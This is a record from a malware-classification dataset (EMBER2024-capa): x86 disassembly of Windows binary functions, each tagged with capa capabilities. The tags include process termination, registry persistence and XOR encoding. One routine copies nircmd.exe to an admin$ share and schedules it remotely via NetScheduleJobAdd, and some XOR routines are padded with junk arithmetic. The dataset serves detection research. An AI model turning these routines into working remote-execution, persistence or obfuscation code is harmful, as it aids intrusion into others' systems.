joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407dd6
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3824
call fcn.00410930
push ebx
push esi
xor ebx, ebx
test byte [0x416a8c], 1
push edi
jne 0x407e09
or dword [0x416a8c], 1
push 0x4109ef
mov dword [0x416a88], ebx
call fcn.0041065a
pop ecx
push 0x1fe
lea eax, [ebp - 0x522]
push ebx
push eax
mov word [ebp - 0x524], bx
call sub.msvcrt.dll_memset
mov esi, 0x10fe
push esi
lea eax, [ebp - 0x1623]
push ebx
push eax
mov byte [ebp - 0x1624], bl
call sub.msvcrt.dll_memset
push 0x21fc
lea eax, [ebp - 0x3822]
push ebx
push eax
mov word [ebp - 0x3824], bx
call sub.msvcrt.dll_memset
push dword [ebp + 0xc]
lea eax, [ebp - 0x1624]
push str.nircmd.exe__s
push eax
call sub.msvcrt.dll_sprintf
add esp, 0x30
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_MultiByteToWideChar]
lea eax, [ebp - 0x3824]
push eax
or edi, 0xffffffff
push edi
lea eax, [ebp - 0x1624]
push eax
push ebx
push ebx
call esi
push 0xff
lea eax, [ebp - 0x524]
push eax
push edi
push dword [ebp + 8]
push ebx
push ebx
call esi
mov eax, dword [0x416a78]
cmp eax, ebx
jne 0x407eb8
push str.NetRemoteTOD
call fcn.0040d86c
cmp eax, ebx
mov dword [0x416a78], eax
je 0x407ec7
lea ecx, [ebp - 4]
push ecx
lea ecx, [ebp - 0x524]
push ecx
call eax
mov edi, eax
cmp edi, ebx
jne 0x407fee
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 8]
imul ecx, ecx, 0x3c
sub ecx, dword [eax + 0x18]
add ecx, dword [eax + 0xc]
mov eax, dword [eax + 0x10]
imul ecx, ecx, 0x3c
lea eax, [ecx + eax + 0x43]
cmp eax, ebx
jge 0x407ef3
add eax, reloc.USER32.dll_GetDesktopWindow
jmp 0x407efe
mov ecx, reloc.USER32.dll_GetDesktopWindow
cmp eax, ecx
jl 0x407efe
sub eax, ecx
imul eax, eax, 0x3e8
cmp dword [ebp + 0x10], ebx
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x3824]
mov dword [ebp - 0x10], ebx
mov byte [ebp - 0xc], bl
mov byte [ebp - 0xb], bl
mov dword [ebp - 8], eax
mov dword [ebp + 0xc], ebx
je 0x407f98
push 0x104
lea eax, [ebp - 0x11b]
push ebx
push eax
mov byte [ebp - 0x11c], bl
call sub.msvcrt.dll_memset
push 0x207
lea eax, [ebp - 0x323]
push ebx
push eax
mov byte [ebp - 0x324], bl
call sub.msvcrt.dll_memset
lea eax, [ebp - 0x11c]
push eax
call fcn.00402632
push dword [ebp + 8]
lea eax, [ebp - 0x324]
push eax
call sub.msvcrt.dll_strcpy
lea esi, [ebp - 0x324]
call fcn.00401f5f
mov eax, esi
push str.admin__nircmd.exe
push eax
call sub.msvcrt.dll_strcat
add esp, 0x2c
push ebx
mov eax, esi
push eax
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
mov eax, dword [0x416a74]
cmp eax, ebx
jne 0x407fb4
push str.NetScheduleJobAdd
call fcn.0040d86c
cmp eax, ebx
mov dword [0x416a74], eax
je 0x407fc9
lea ecx, [ebp + 0xc]
push ecx
lea ecx, [ebp - 0x14]
push ecx
lea ecx, [ebp - 0x524]
push ecx
call eax
mov edi, eax
jmp 0x407fcc
or edi, 0xffffffff
mov eax, dword [0x416a7c]
cmp eax, ebx
mov esi, dword [ebp - 4]
jne 0x407feb
push str.NetApiBufferFree
call fcn.0040d86c
cmp eax, ebx
mov dword [0x416a7c], eax
je 0x407fee
push esi
call eax
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x40d9f6
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
cmp byte [esi + 1], 0x3a
je 0x40daa3
lea eax, [esi + 2]
push 0x3a
push eax
call sub.msvcrt.dll_strchr
test eax, eax
pop ecx
pop ecx
je 0x40da21
dec eax
push eax
jmp 0x40daa4
push str._systemroot
mov eax, esi
call fcn.00401f81
test eax, eax
pop ecx
mov dword [ebp - 4], eax
jl 0x40daa3
push ebx
push edi
mov ebx, 0x104
push ebx
lea eax, [ebp - 0x10b]
push 0
push eax
mov byte [ebp - 0x10c], 0
call sub.msvcrt.dll_memset
add esp, 0xc
cmp byte [0x416960], 0
mov edi, 0x416960
jne 0x40da70
push ebx
push edi
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
mov dword [0x416a68], eax
lea eax, [ebp - 0x10c]
push edi
push eax
call sub.msvcrt.dll_strcpy
lea eax, [ebp - 0x10c]
push eax
push dword [ebp + 8]
call sub.msvcrt.dll_strcpy
mov eax, dword [ebp - 4]
lea eax, [eax + esi + 0xb]
push eax
push dword [ebp + 8]
call sub.msvcrt.dll_strcat
add esp, 0x18
pop edi
pop ebx
jmp 0x40daae
push esi
push dword [ebp + 8]
call sub.msvcrt.dll_strcpy
pop ecx
pop ecx
mov eax, dword [ebp + 8]
leave
ret

Function at 0x40e0a7
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov esi, dword [sym.imp.USER32.dll_EnumWindows]
push edi
xor eax, eax
lea edi, [ebp - 8]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push eax
mov edi, 0x40e05a
push edi
mov dword [ebp - 8], 1
call esi
cmp dword [ebp - 4], 0
jne 0x40e0e6
and dword [ebp - 8], 0
lea eax, [ebp - 0xc]
push eax
push edi
call esi
xor eax, eax
cmp dword [ebp - 4], eax
pop edi
setg al
pop esi
leave
ret

Function at 0x40e0f2
Capabilities:
Terminate process

Disassembly:
push esi
push edi
push dword [esp + 0xc]
xor edi, edi
push edi
push 1
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov esi, eax
cmp esi, edi
je 0x40e11a
push edi
push esi
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, edi
pop edi
pop esi
ret
Function at 0x40e11f
Capabilities:
Enumerate processes

Disassembly:
push ebp
lea ebp, [esp - 0x74]
sub esp, 0x36c
push ebx
mov ebx, dword [ebp + 0x7c]
push esi
add ebx, 0x28
push edi
mov esi, ebx
call fcn.004039d0
xor edi, edi
push edi
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
push 0x124
mov dword [ebp + 0x70], eax
lea eax, [ebp - 0x1ec]
push edi
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 0x1f0]
push eax
push dword [ebp + 0x70]
mov dword [ebp - 0x1f0], 0x128
call sub.KERNEL32.DLL_Process32First
jmp 0x40e2b7
mov eax, dword [ebp - 0x1e8]
mov ecx, dword [ebp - 0x1d8]
push eax
push edi
push 0x410
mov byte [ebp - 0xc4], 0
mov dword [ebp + 0x48], edi
mov dword [ebp + 0x4c], edi
mov dword [ebp + 0x50], edi
mov dword [ebp + 0x54], edi
mov dword [ebp + 0x58], edi
mov dword [ebp + 0x5c], edi
mov dword [ebp + 0x60], edi
mov dword [ebp + 0x64], edi
mov dword [ebp - 0xc8], eax
mov dword [ebp + 0x44], ecx
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
cmp eax, edi
mov dword [ebp + 0x6c], eax
je 0x40e269
mov esi, 0x104
push esi
lea eax, [ebp - 0x2f7]
push edi
push eax
mov byte [ebp - 0x2f8], 0
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 0x2f8]
push eax
push dword [ebp + 0x6c]
mov eax, dword [ebp + 0x7c]
call fcn.0040e2e1
cmp byte [ebp - 0xc4], 0
jne 0x40e24d
cmp dword [0x416a80], edi
mov dword [ebp + 0x68], esi
jne 0x40e233
push str.kernel32.dll
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
cmp eax, edi
je 0x40e233
push str.QueryFullProcessImageNameA
push eax
mov dword [0x416a80], 1
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [0x416a84], eax
mov eax, dword [0x416a84]
cmp eax, edi
je 0x40e24d
lea ecx, [ebp + 0x68]
push ecx
lea ecx, [ebp - 0x2f8]
push ecx
push edi
push dword [ebp + 0x6c]
call eax
lea eax, [ebp - 0xc4]
push eax
lea esi, [ebp - 0x2f8]
call fcn.0040d9f6
pop ecx
push dword [ebp + 0x6c]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov esi, dword [ebx + 0xc]
cmp esi, edi
jl 0x40e2b7
cmp esi, 0xffffffff
mov eax, dword [ebx + 8]
jne 0x40e281
push dword [ebx]
call sub.msvcrt.dll_free
jmp 0x40e294
push eax
push 0x130
lea eax, [ebx + 4]
mov edx, esi
mov edi, ebx
call fcn.00402000
pop ecx
lea eax, [esi + 1]
cmp dword [ebx + 0xc], eax
pop ecx
jge 0x40e2a0
mov dword [ebx + 0xc], eax
mov edi, esi
imul edi, edi, 0x130
add edi, dword [ebx]
push 0x4c
pop ecx
lea esi, [ebp - 0xc8]
rep movsd dword es:[edi], dword [esi]
xor edi, edi
lea eax, [ebp - 0x1f0]
push eax
push dword [ebp + 0x70]
call sub.KERNEL32.DLL_Process32Next
test eax, eax
jne 0x40e17a
push dword [ebp + 0x70]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
pop esi
pop ebx
add ebp, 0x74
leave
ret 4
Function at 0x40e309
Capabilities:
Link many functions at runtime

Disassembly:
cmp dword [esi], 0
jne 0x40e35e
push edi
push str.psapi.dll
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov edi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push str.GetModuleBaseNameA
push eax
mov dword [esi], eax
call edi
push str.EnumProcessModules
push dword [esi]
mov dword [esi + 4], eax
call edi
push str.GetModuleFileNameExA
push dword [esi]
mov dword [esi + 8], eax
call edi
push str.EnumProcesses
push dword [esi]
mov dword [esi + 0x10], eax
call edi
push str.GetModuleInformation
push dword [esi]
mov dword [esi + 0x14], eax
call edi
mov dword [esi + 0xc], eax
pop edi
ret

Function at 0x40e3d0
Capabilities:
Link many functions at runtime

Disassembly:
mov eax, dword [esi]
test eax, eax
je 0x40e3e0
push eax
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
and dword [esi], 0
push str.rasapi32.dll
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
test eax, eax
mov dword [esi], eax
je 0x40e440
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push str.RasSetEntryDialParamsA
push eax
call edi
push str.RasEnumConnectionsA
push dword [esi]
mov dword [esi + 4], eax
call edi
push str.RasGetConnectStatusA
push dword [esi]
mov dword [esi + 8], eax
call edi
push str.RasHangUpA
push dword [esi]
mov dword [esi + 0xc], eax
call edi
push str.RasGetEntryDialParamsA
push dword [esi]
mov dword [esi + 0x10], eax
call edi
push str.RasDialA
push dword [esi]
mov dword [esi + 0x14], eax
call edi
mov dword [esi + 0x18], eax
pop edi
xor eax, eax
cmp dword [esi], eax
setne al
ret

Function at 0x40e6f9
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
xor esi, esi
push dword [ebp + 8]
call fcn.0040e646
add esp, 0xc
test eax, eax
jne 0x40e740
mov eax, dword [ebp + 0x14]
push 4
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
push 4
push esi
push dword [ebp + 0x10]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x40e737
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
leave
ret

Function at 0x40e745
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
xor esi, esi
push dword [ebp + 8]
call fcn.0040e646
add esp, 0xc
test eax, eax
jne 0x40e785
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push 3
push esi
push dword [ebp + 0x10]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x40e77c
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
leave
ret
Function at 0x40e78a
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0x2001f
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
xor esi, esi
push dword [ebp + 8]
call fcn.0040e62d
add esp, 0x10
test eax, eax
jne 0x40e7c6
push dword [ebp + 0x10]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
jne 0x40e7bd
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
leave
ret

Function at 0x40e7cb
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push 0x20019
lea eax, [ebp - 8]
push eax
push dword [ebp + 0xc]
xor esi, esi
push dword [ebp + 8]
call fcn.0040e62d
add esp, 0x10
test eax, eax
jne 0x40e81c
push esi
push esi
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 4]
push eax
push esi
push esi
push esi
push dword [ebp - 8]
mov dword [ebp - 4], esi
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
push dword [ebp - 8]
mov esi, eax
neg esi
sbb esi, esi
not esi
and esi, dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
leave
ret

Function at 0x40eb87
Capabilities:
Create process on windows

Disassembly:
push ebx
push esi
mov esi, edi
xor ebx, ebx
call fcn.0040e92f
test eax, eax
jne 0x40eba3
push 5
push str.regedit.exe
call dword [sym.imp.KERNEL32.DLL_WinExec]
call fcn.0040e92f
test eax, eax
je 0x40ec06
push 0xfffffffffffffff0
push dword [edi]
call dword [sym.imp.USER32.dll_GetWindowLongA]
test eax, 0x20000000
je 0x40ebc7
push 9
push dword [edi]
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [edi]
call dword [sym.imp.USER32.dll_SetForegroundWindow]
mov esi, dword [esp + 0xc]
push edi
call fcn.0040ea78
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov eax, edi
call fcn.0040e821
test eax, eax
je 0x40ebfb
push dword [edi + 8]
mov ebx, dword [esp + 0x14]
or eax, 0xffffffff
call fcn.0040e986
push dword [edi + 8]
call fcn.0040e9ce
xor ebx, ebx
inc ebx
pop esi
mov eax, ebx
pop ebx
ret 8
Function at 0x40ef8d
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push ebx
call fcn.0040ee86
xor ebx, ebx
cmp dword [0x4163bc], ebx
je 0x40efcf
call fcn.00402153
cmp dword [eax + 0x10], 1
jne 0x40efc0
cmp esi, 0x19
je 0x40efcf
cmp esi, 0x17
je 0x40efcf
cmp esi, 0x16
je 0x40efcf
push ebx
push esi
push edi
push ebx
call dword [0x4163bc]
jmp 0x40f071
push 0x103
lea eax, [ebp - 0x127]
push ebx
push eax
mov byte [ebp - 0x128], bl
call sub.msvcrt.dll_memset
add esp, 0xc
cmp esi, 0x19
je 0x40eff9
cmp esi, 0x17
je 0x40eff9
cmp esi, 0x16
jne 0x40f00f
lea eax, [ebp - 4]
push eax
push 0x20019
push ebx
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
push 0x80000002
jmp 0x40f023
lea eax, [ebp - 4]
push eax
push 0x20019
push ebx
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
jne 0x40f05b
lea ecx, [ebp - 0x24]
mov eax, esi
call fcn.0040eecb
lea eax, [ebp - 0x128]
push eax
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 4]
mov eax, 0x104
call fcn.0040e66e
add esp, 0xc
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x128]
push eax
push edi
call sub.msvcrt.dll_strcpy
xor eax, eax
cmp byte [edi], bl
pop ecx
pop ecx
setne al
pop ebx
leave
ret
Function at 0x410726
Capabilities:
Parse pe header
Terminate process

Disassembly:
push 0x28
push 0x4113e0
call fcn.004108c8
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
cmp word [eax], 0x5a4d
jne 0x410761
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x410761
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x410779
cmp eax, 0x20b
je 0x410766
mov dword [ebp - 0x1c], edi
jmp 0x41078d
cmp dword [ecx + 0x84], 0xe
jbe 0x410761
xor eax, eax
cmp dword [ecx + 0xf8], edi
jmp 0x410787
cmp dword [ecx + 0x74], 0xe
jbe 0x410761
xor eax, eax
cmp dword [ecx + 0xe8], edi
setne al
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], edi
push 1
call dword [sym.imp.msvcrt.dll___set_app_type]
pop ecx
or dword [0x416a94], 0xffffffff
or dword [0x416a98], 0xffffffff
call dword [sym.imp.msvcrt.dll___p__fmode]
mov ecx, dword [0x41603c]
mov dword [eax], ecx
call dword [sym.imp.msvcrt.dll___p__commode]
mov ecx, dword [0x416038]
mov dword [eax], ecx
mov eax, dword [sym.imp.msvcrt.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x416a90], eax
call fcn.004108c4
cmp dword [section..data], edi
jne 0x4107e8
push fcn.004108c4
call dword [sym.imp.msvcrt.dll___setusermatherr]
pop ecx
call fcn.004108b2
push 0x4113b8
push 0x4113b4
call sub.msvcrt.dll__initterm
mov eax, dword [0x416034]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
push dword [0x416030]
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.msvcrt.dll___getmainargs]
mov dword [ebp - 0x30], eax
push 0x4113b0
push 0x41139c
call sub.msvcrt.dll__initterm
mov eax, dword [ebp - 0x24]
mov ecx, dword [sym.imp.msvcrt.dll___initenv]
mov dword [ecx], eax
push dword [ebp - 0x24]
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
call fcn.0040335c
add esp, 0x30
mov esi, eax
mov dword [ebp - 0x34], esi
cmp dword [ebp - 0x1c], edi
jne 0x41085f
push esi
call dword [sym.imp.msvcrt.dll_exit]
call dword [sym.imp.msvcrt.dll__cexit]
jmp 0x410894
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.00410901
ret
Function at 0x10006500
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0x10], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 4], 0
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0xc], eax
mov ecx, 0x35f
sub ecx, dword [ebp - 8]
mov dword [ebp - 4], ecx
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0x14]
lea ecx, [eax + edx - 1]
mov dword [ebp - 0x10], ecx
mov edx, 0x1b3
sub edx, dword [ebp - 4]
mov dword [ebp - 8], edx
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 8]
lea edx, [ecx + eax - 1]
mov dword [ebp - 0x14], edx
mov dword [ebp - 4], 0xe5
push 1
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.101016f0
add esp, 0xc
mov edx, dword [ebp - 8]
xor edx, 0xdf
mov dword [ebp - 4], edx
mov dword [ebp - 4], 0x161
mov eax, dword [ebp - 0x10]
sub eax, 1
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x14]
sub ecx, 1
mov dword [ebp - 0x14], ecx
mov edx, 0x316
sub edx, dword [ebp - 8]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
xor eax, 0x1a3
mov dword [ebp - 8], eax
imul ecx, dword [ebp - 8], 0x3d8
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0xc]
sub edx, 1
mov dword [ebp - 0xc], edx
jne 0x1000655f
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x100065d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x10], 0
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x1c], ecx
mov edx, 0x232
sub edx, dword [ebp - 8]
mov dword [ebp - 4], edx
mov eax, dword [ebp + 0xc]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x1000675e
imul ecx, dword [ebp - 8], 0x7c
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 8]
add eax, 0x19b
mov dword [ebp - 4], eax
imul ecx, dword [ebp - 8], 0x285
mov dword [ebp - 4], ecx
push 1
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x14]
push eax
call fcn.101016f0
add esp, 0xc
mov ecx, dword [ebp - 0x14]
add ecx, 1
mov dword [ebp - 0x14], ecx
mov dword [ebp - 4], 0xfffffe30
mov edx, dword [ebp - 4]
sub edx, dword [ebp - 0xc]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x1c]
add eax, 1
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x10]
add ecx, 1
mov dword [ebp - 0x10], ecx
mov dword [ebp - 8], 0xffffffb5
mov edx, dword [ebp - 8]
sub edx, dword [ebp - 4]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 4]
xor eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [ebp + 0xc]
jl 0x10006652
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 4]
xor eax, 0x295
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], 0
imul ecx, dword [ebp - 8], 0x119
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 8]
add edx, 0x378
mov dword [ebp - 0xc], edx
imul eax, dword [ebp - 4], 0x25
mov dword [ebp - 0xc], eax
push 1
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0x20]
push edx
call fcn.101016f0
add esp, 0xc
mov eax, dword [ebp - 0x20]
add eax, 1
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 8]
add ecx, 0x19e
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 4]
xor edx, dword [ebp - 8]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x10]
add ecx, 1
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 4]
xor edx, dword [ebp - 0xc]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp + 0xc]
jl 0x100066dd
mov dword [ebp - 4], 0x629
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret
Function at 0x10006ef0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 4], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 8]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], 0
mov dword [ebp - 4], 1
mov ecx, dword [ebp + 0x18]
add ecx, dword [ebp + 0x14]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp + 0xc]
mov dword [ebp - 0x18], edx
cmp dword [ebp + 8], 1
jle 0x10006f7e
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
cdq
idiv dword [ebp - 4]
test edx, edx
jne 0x10006f61
mov ecx, dword [ebp - 8]
add ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], ecx
mov eax, dword [ebp + 8]
cdq
idiv dword [ebp - 4]
mov dword [ebp - 0x20], eax
mov edx, dword [ebp - 0xc]
sub edx, 0x15c
mov dword [ebp - 8], edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call fcn.101016f0
add esp, 0xc
mov eax, dword [ebp - 8]
sub eax, 0x140
mov dword [ebp - 0xc], eax
imul ecx, dword [ebp - 0x1c], 0x178
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 4]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0xc]
xor eax, 0x13d
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
add ecx, 0x15a
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x18]
add edx, dword [ebp - 4]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [ebp - 0x20]
jl 0x10006f94
mov eax, dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret
Function at 0x10007000
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 8], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x10], 0
mov byte [ebp - 1], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x14], eax
mov dword [ebp - 8], 0x111
mov byte [ebp - 1], 0
mov ecx, dword [ebp + 0x14]
add ecx, dword [ebp + 0x18]
mov edx, dword [ebp + 0xc]
lea eax, [ecx + edx - 1]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0xc]
xor ecx, dword [ebp - 0x10]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
xor edx, dword [ebp - 0x10]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
add eax, 0x321
mov dword [ebp - 8], eax
mov ecx, dword [ebp + 0x18]
mov edx, dword [ebp + 8]
lea eax, [edx + ecx - 1]
mov dword [ebp - 0x1c], eax
push 1
mov ecx, dword [ebp - 0x1c]
push ecx
lea edx, [ebp - 1]
push edx
call fcn.101016f0
add esp, 0xc
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
push 1
lea ecx, [ebp - 1]
push ecx
mov edx, dword [ebp - 0x18]
push edx
call fcn.101016f0
add esp, 0xc
mov eax, dword [ebp - 0x18]
sub eax, 1
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 8]
xor ecx, dword [ebp - 0xc]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x1c]
sub edx, 1
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0xc], 0xffffffdc
imul eax, dword [ebp - 0x10], 0x2e4
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x14]
sub ecx, 1
mov dword [ebp - 0x14], ecx
jne 0x1000707f
mov eax, dword [ebp - 0x14]
mov esp, ebp
pop ebp
ret